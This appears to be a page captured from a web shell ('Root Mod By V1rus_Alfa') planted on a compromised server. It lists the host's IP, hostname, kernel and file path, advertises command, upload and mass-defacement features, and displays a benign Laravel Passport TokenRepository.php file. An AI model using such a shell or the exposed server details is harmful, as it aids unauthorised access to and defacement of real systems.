���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
vendor
/
laravel
/
passport
/
src
/
Viewing: TokenRepository.php
<?php namespace Laravel\Passport; use Illuminate\Contracts\Auth\Authenticatable; use Illuminate\Database\Eloquent\Collection; use Illuminate\Support\Facades\Date; /** * @deprecated Will be removed in a future Laravel version. */ class TokenRepository { /** * Get a token by the given user ID and token ID. * * @deprecated Use $user->tokens()->find() * * @param \Laravel\Passport\Contracts\OAuthenticatable $user */ public function findForUser(string $id, Authenticatable $user): ?Token { return $user->tokens() ->with('client') ->where('revoked', false) ->where('expires_at', '>', Date::now()) ->find($id); } /** * Get the token instances for the given user ID. * * @deprecated Use $user->tokens() * * @param \Laravel\Passport\Contracts\OAuthenticatable $user * @return \Illuminate\Database\Eloquent\Collection<int, \Laravel\Passport\Token> */ public function forUser(Authenticatable $user): Collection { return $user->tokens() ->with('client') ->where('revoked', false) ->where('expires_at', '>', Date::now()) ->get(); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa